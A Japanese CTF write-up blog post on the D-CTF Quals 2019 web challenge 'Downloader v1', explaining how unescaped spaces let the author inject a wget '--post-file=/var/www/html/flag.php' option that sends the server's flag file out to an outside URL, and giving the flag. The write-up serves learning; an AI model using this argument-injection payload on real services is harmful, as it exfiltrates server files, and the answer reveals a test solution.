st98 の日記帳


[ctf] D-CTF Quals 2019 の write-up

9 月 7 日から 9 月 8 日にかけて開催された D-CTF Quals 2019 に、チーム Harekaze として参加しました。最終的にチームで 1176 点を獲得し、順位は得点 307 チーム中 29 位でした。うち、私は 1 問を解いて 50 点を入れました。

以下、私が解いた問題の write-up です。

[Web 50] Downloader v1

Don’t you find it frustrating when you have uploaded some files on a website but you’re are not sure if the download button works? Me neither. But some people did. Is there even demand for such a service?

(URL)

与えられた URL にアクセスすると、以下のような HTML が返ってきました。

<!DOCTYPE html>
<html>
<head>
    <title>Downloader v1</title>
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
</head>
<body>

<div class="container mt-5">
    <div class="row">
        <div class="col-8 offset-2">
            <h3 class="text-center">File downloader v1</h3>
            <div class="card mt-5">
                <div class="card-header">Specify an URL to download</div>
                <form class="card-body" method="POST">
                                        <div class="form-group">
                        <label>URL to download:</label>
                        <input type="text" name="url" placeholder="http://example.com/image.jpg" value="" class="form-control" >
                    </div>
                    <button type="submit" class="btn btn-primary float-right">Submit</button>
                </form>
                            </div>
        </div>
    </div>
</div>

<!-- <a href="flag.php">###</a> -->

</body>
</html>

URL を入力するとダウンロードしてくれるサービスのようです。とりあえず http://example.com/image.jpg を入力してみると、以下のような出力が返ってきました。

$ cd uploads/5d7bd4c0139dccf764bbd4dbbed5b
$ wget http://example.com/image.jpg 2>&1
--2019-09-13 17:41:20--  http://example.com/image.jpg
Resolving example.com (example.com)... 93.184.216.34, 2606:2800:220:1:248:1893:25c8:1946
Connecting to example.com (example.com)|93.184.216.34|:80... connected.
HTTP request sent, awaiting response... 404 Not Found
2019-09-13 17:41:20 ERROR 404: Not Found.

$ bash -c 'rm uploads/5d7bd4c0139dccf764bbd4dbbed5b/*.{php,pht,phtml,php4,php5,php6,php7}'

入力した URL からファイルをアクセス可能な場所にダウンロードし、もし PHP に関連する拡張子を持つファイルがダウンロードされていればそれを削除しています。

'"$ を含んだ URL を投げると、いずれも \' \" \$ のようにエスケープしているのが確認でき、OS コマンドインジェクションの対策がされているように見えます…が、 (半角スペース) はエスケープされません。これを利用して、適当な URL に flag.php の内容をアップロードさせるようなオプションを付加してみましょう。

(URL) --post-file=/var/www/html/flag.php a を投げると、以下のようなボディを持った HTTP リクエストが来ました。

GET ME! <?php /* DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0} */ ?>

フラグが得られました。

DCTF{f8ebc33b836f0ac262fef4c18d3b18ed405da41bb4389c0d0fa1a5a997da1af0}
このエントリーをはてなブックマークに追加
st98.github.io / st98 の日記帳